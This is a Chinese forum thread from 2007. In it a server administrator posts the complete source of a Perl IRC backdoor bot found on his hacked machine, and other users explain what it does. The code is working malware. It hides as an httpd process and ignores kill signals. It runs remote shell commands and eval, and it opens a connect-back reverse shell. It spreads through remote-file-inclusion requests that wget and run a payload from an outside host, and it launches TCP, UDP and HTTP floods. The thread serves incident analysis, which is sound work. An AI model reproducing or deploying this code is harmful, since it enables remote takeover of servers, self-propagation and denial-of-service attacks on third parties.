服务器被黑了，在服务器上找到一perl黑客程序(怀疑是这个攻陷了系统)

xmbbx

大致分析黑客是利用了php代码的漏洞，取得了webshell,然后上传了这个perl的程序，然后不知道黑客怎么弄的就得到了系统的权限，最后为所欲为。
这个上传的perl黑客程序如下,感觉写的很狡猾：
大家帮忙具体分析下，其是干了什么，谢谢。

1. 
   
2. #!/usr/bin/perl
   
3. 
   
4. use IO::Socket;
   
5. srand;
   
6. my $bPs        = '/usr/local/apache/bin/httpd -DSSL';
   
7. #my $aMaster    = 'cesik';
   
8. my $aHost      = 'zuo@pentagon.gov';
   
9. my $sServer    = 'someshit.ru';
   
10. my $sPort      = '6667';
    
11. my $sTimeOut   = '300';
    
12. my $bChan      = '#test';
    
13. 
    
14. my $bNickLen   = '7';
    
15. chomp (my $bNick   = `whoami`);
    
16. my $bIrcName   = 'smf';
    
17. chomp (my $bRealName  = `uname -a`);
    
18. my $bDelay     = '2';
    
19. 
    
20. open(LOCK, '>/tmp/sess_sw2sw3ew2edsxwa213s1x1ws1e32sx1') or die;
    
21. unless(flock(LOCK, 4 | 2)) { die; }
    
22. 
    
23. if(fork) { exit; }
    
24. $0 = $bPs;
    
25. 
    
26. $SIG{'INT'}  = 'IGNORE';
    
27. $SIG{'HUP'}  = 'IGNORE';
    
28. $SIG{'TERM'} = 'IGNORE';
    
29. $SIG{'CHLD'} = 'IGNORE';
    
30. 
    
31. package irc;
    
32. use IO::Select;
    
33. 
    
34. our $irc_socket;
    
35. our $irc_select = new IO::Select;
    
36. 
    
37. my $cur_nick;
    
38. 
    
39. sub raw { print $irc_socket "$_[0]\n"; }
    
40. 
    
41. sub mnick {
    
42.     my $nick = $_[1];
    
43.     my @abc = ('a' .. 'z');
    
44.     for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
    
45.     return $nick;
    
46. }
    
47. 
    
48. sub init {
    
49.    
    
50.     my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
    
51.                                        PeerPort => $_[4],
    
52.                                        Proto    => 'tcp',
    
53.                                        Timeout  => '5') or return 0;
    
54.     if(defined($socket)) {
    
55.         $irc_socket = $socket;
    
56.         $irc_select->add($irc_socket);
    
57.         $irc_socket->autoflush(1);
    
58.         raw("USER ".$_[1]." 0 0 ".$_[2]);
    
59.         $cur_nick = $_[0];
    
60.         raw("NICK $cur_nick");
    
61.         return 1;
    
62.     }
    
63.     return 0;
    
64. }
    
65. 
    
66. sub loop {
    
67.     my $time_out = time;
    
68.    
    
69.     for(;;) {
    
70.         my @handles = $irc_select->can_read(1);
    
71.         
    
72.         if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
    
73.         
    
74.         next unless(@handles);
    
75.         
    
76.         foreach my $handle (@handles) {
    
77.             my $datain;$handle->recv($datain, 1023, 0);
    
78.             my @lines = split(/\r\n/, $datain);
    
79.             
    
80.             foreach my $line (@lines) {
    
81.                 if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
    
82.                 elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
    
83.                 elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
    
84.                 run::bcmd("$line");
    
85.             }
    
86.         }
    
87.     }
    
88. }
    
89. package run;
    
90. use Socket;
    
91. 
    
92. sub bcmd {
    
93.     my @line = split(/ /, $_[0]);
    
94.    
    
95.     my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
    
96.     #unless($Nick eq $aMaster) { return; }
    
97.     unless($Mask eq $aHost)   { return; }
    
98.    
    
99.     my $Type = shift(@line);
    
100.     unless($Type eq "PRIVMSG") { return; }
     
101.    
     
102.     my $To = shift(@line);
     
103.    
     
104.     $" = ' '; $line[0] =~ s/://;my $Text = "@line";
     
105.    
     
106.     if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
     
107.         if($2 =~ /^nick\s*(.*)/) {
     
108.             if($1) { $cur_nick = $1; }
     
109.             else { $cur_nick = irc::mnick($bNickLen, $bNick); }
     
110.             irc::raw("NICK $cur_nick");
     
111.             return;
     
112.         }
     
113.         
     
114.         if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
     
115.         
     
116.         
     
117.         
     
118.         return;
     
119.     }
     
120.    
     
121.     if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
     
122.         
     
123.         if(!fork) {
     
124. 
     
125.             if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }            
     
126. 
     
127.             if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
     
128.             
     
129.             if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }
     
130.             
     
131.             if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
     
132.             
     
133.             if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
     
134.             
     
135.             if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
     
136.             if ($2 =~ /^join (.*)/) {
     
137.                     j("$1");
     
138.             }
     
139.             if ($2 =~ /^part (.*)/) {
     
140.                     p("$1");
     
141.             }
     
142.             
     
143.             exit;
     
144.         }
     
145.         return;
     
146.     }
     
147.    
     
148.     if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
     
149.     if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
     
150. }
     
151. 
     
152. sub bsh {
     
153.     my $to = $_[0];
     
154.     my $cmd = $_[1];
     
155.    
     
156.     if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
     
157.    
     
158.     my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
     
159.     foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }   
     
160. }
     
161. 
     
162. sub j { &join(@_); }
     
163. sub join {
     
164.         return unless $#_ == 0;
     
165.                 irc::raw("JOIN $_[0]");
     
166. }
     
167. 
     
168. sub p { part(@_); }
     
169. sub part {
     
170.         irc::raw("PART $_[0]");
     
171. }
     
172. 
     
173. sub rsh {
     
174.     irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
     
175.    
     
176.     socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
     
177.     connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
     
178.         
     
179.     open(STDIN, ">&SOCKET");
     
180.     open(STDOUT, ">&SOCKET");
     
181.     open(STDERR, ">&SOCKET");
     
182.         
     
183.     print "elxbot's connectback backdoor\n";
     
184.     system('/bin/sh');
     
185.         
     
186.     close(STDIN);
     
187.     close(STDOUT);
     
188.     close(STDERR);   
     
189. }
     
190. 
     
191. package spread;
     
192. 
     
193. sub start {
     
194.     irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");
     
195.    
     
196.     our $s_time = time;
     
197.     my $m_time = $_[1] * 60; #''
     
198.     srand;
     
199.    
     
200.     my $bPath = '/tmp/sess_s5wx3e2b8w1d6ecsw3d1x1wwo521451';
     
201.     my $rfi   = 'http://cia.gov/ap.txt';
     
202.     my $bLoc = 'http://cia.gov/fuck.txt';
     
203.     my $cmds  = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";
     
204.    
     
205.     $cmds =~ s/ /%20/g;
     
206.    
     
207.     while($m_time > (time - $s_time)) {
     
208.         my $dup = "";my @urls = google();
     
209.         
     
210.         foreach my $url (@urls) {
     
211.             (my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
     
212.             my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }
     
213.             
     
214.             if($dup eq $host) { next; } $dup = "$host";
     
215.             
     
216.             $url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';
     
217.             
     
218.             my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
     
219.             print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
     
220.             $sock->close();
     
221.         }
     
222.     }
     
223.     irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
     
224. }
     
225. 
     
226. sub google() {
     
227.    
     
228.     my $rnd=(int(rand(300)));
     
229.     my $n= 80;
     
230.     if ($rnd<300) { $rnd=(int(rand(300))); }
     
231.     my $msn= (int(rand(10)) * $n);
     
232. 
     
233.     my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
     
234.                    'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
     
235.                    'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
     
236.                    'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
     
237.                    'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
     
238.                    'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
     
239.                    'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
     
240.                    'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
     
241.                    'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
     
242.                    'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
     
243.                    'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
     
244.                    'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
     
245.                    'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
     
246.                    'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
     
247.                    'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
     
248.                    'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
     
249.                    'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
     
250.                    'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
     
251.                    'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
     
252.                    'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
     
253.                    'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
     
254.                    'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
     
255.                    'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
     
256.                    've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
     
257.                    'za', 'zm', 'zw');
     
258.    
     
259.     my @str = ();
     
260.     foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }
     
261.    
     
262.     my $query = 'http://www.altavista.com/web/results?q=';
     
263.     $query   .= $str[(rand(scalar(@str)))];
     
264.     $query   .= "&stq=$msn";
     
265.    
     
266.     my @lst=();
     
267.     #irc::raw("privmsg #debug :DEBUG only test googling: ".$query."");
     
268.     my $page = http_query($query);
     
269.    
     
270.     while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
     
271.         if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
     
272.     }
     
273.     return (@lst);
     
274. }
     
275. 
     
276. sub http_query {
     
277.    
     
278.     my $url = $_[0];
     
279.     my $host=$url;
     
280.     my $query=$url;
     
281.     my $page='';
     
282.    
     
283.     $host =~ s/href=\"?http:\/\///;
     
284.     $host =~ s/([\w\.\-\w]*)\/.*/$1/;
     
285.     $query =~ s/$host//;
     
286.    
     
287.     if ($query eq '') {$query='/';};
     
288.     eval {
     
289.             local $SIG{ALRM} = sub { die "1";};
     
290.             alarm 5;
     
291.             my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
     
292.             print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
     
293.             my @r = <$sock>;
     
294.             $page="@r";
     
295.             alarm 0;
     
296.             close($sock);
     
297.     };
     
298.     return $page;
     
299. }
     
300. 
     
301. package flood;
     
302. use POSIX;
     
303. use Socket;
     
304. 
     
305. our $s_time;
     
306. 
     
307. sub tcp {
     
308.     irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
     
309.    
     
310.     $s_time = time;
     
311.     my @SOCKET;
     
312.    
     
313.     while ($_[3] > (time - $s_time)) {
     
314.         
     
315.         for(my $i=0;$i<200;$i++) {
     
316.             socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
     
317.             fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
     
318.         }
     
319.         
     
320.         for(my $i=0;$i<200;$i++) {
     
321.             connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
     
322.         }
     
323.         
     
324.         for(my $i=0;$i<200;$i++) {
     
325.             close($SOCKET[$i]);
     
326.         }
     
327.     }
     
328.    
     
329.     irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
     
330. }
     
331. 
     
332. sub udp {
     
333.     irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
     
334.    
     
335.     $s_time = time;
     
336.     my $socket;
     
337.     my $packets = 0;
     
338.     socket($socket, PF_INET, SOCK_DGRAM, 17);
     
339.    
     
340.     while($_[3] > (time - $s_time)) {
     
341.         send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
     
342.         $packets++;
     
343.     }
     
344.     close($socket);
     
345.    
     
346.     irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
     
347. }
     
348. 
     
349. sub http {
     
350.     irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");
     
351.    
     
352.     $s_time = time;
     
353.     my $querys = 0;
     
354.    
     
355.     while ($_[2] > (time - $s_time)) {
     
356.         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
     
357.         print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
     
358.         close($socket);
     
359.         $querys++;
     
360.     }
     
361.    
     
362.     irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
     
363. }
     
364. 
     
365. while(1) {
     
366.     if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
     
367.     {
     
368.         irc::loop();
     
369.     }
     
370.     sleep 10;
     
371. }
     
372. #
     
373. #
     
374. #
     
375. #
     
376. #GET IS A SHITTY FUCKING PROGRAM!
     

复制代码

[ 本帖最后由 xmbbx 于 2007-6-13 17:28 编辑 ]

topgunroot

太长!

简单说:
1. 伪装成 httpd 程序 (web 服务程序)
2. 拒绝对Ctl-C, kill等系统信号作出反应
3. 连接远程机器, 等候命令并且执行: 包括rsh google tcpflood udpflood httpflood等等

祝贺你, 可以学习一下, 呵呵

topgunroot

最搞笑的是: 用 PING PONG (乒乓球?)来作为应答码.

tmp

原帖由 topgunroot 于 2007-6-13 23:19 发表
最搞笑的是: 用 PING PONG (乒乓球?)来作为应答码.

那是和irc server保持连接:em11:

1. 
   
2. ùíù MOTD File is missing
   
3. ùíù Mode change [+iw] for user haha
   
4. Channel      Users   Topic
   
5. #sex             1
   
6. #malware        19
   
7. ùíù haha [adsasd@localhost] has joined #test
   
8. ùíù [Users(#test:3)]
   
9. [ haha      ] [@alef      ] [@dts       ]
   
10. ùíù Channel #test was created at Mon May 14 00:53:15 2007
    
11. ùíù WHO  Unknown command
    
12. Channel      Users   Topic
    
13. #test           47   [+smntMu]
    
14. #sex             1
    
15. #malware        19
    
16. 
    
17. 
    

复制代码

就是一个bot, 在你的机器上连接到irc服务器,受那里的控制,比如在你的机器上执行命令,或攻击别人,
还可以自动传播.



原来是利用mambo那个cms的漏洞, ^_^
代码不错,收藏

[ 本帖最后由 tmp 于 2007-6-14 09:19 编辑 ]

福瑞哈哥

學習。

xmbbx

原帖由 tmp 于 2007-6-14 09:00 发表



那是和irc server保持连接:em11:


[code]
ùíù MOTD File is missing
ùíù Mode change [+iw] for user haha
Channel      Users   Topic
#sex             1
#malware        19
ùíù hah ...

但是黑客应该是用非root权限的用户运行的这个程序，能接受控制吗？是不是运行这个程序后他就有root权限，还不是很明白。

tmp

运行这个得不到root,但是不代表他没拿到你机器的root权限,你还是要作仔细的检查
看看他是怎么进来的,然后再查都作了些什么其他的事.

xiaoquqi

有意思 学习

alexru

study !

royalzhang

这代码真牛，卡巴斯基都检测出了病毒：

卡巴斯基互联网安全套装6.0个人版
The requested URL http://bbs.chinaunix.net/attachment.php?aid=198365 is infected with Backdoor.Perl.Shellbot.z virus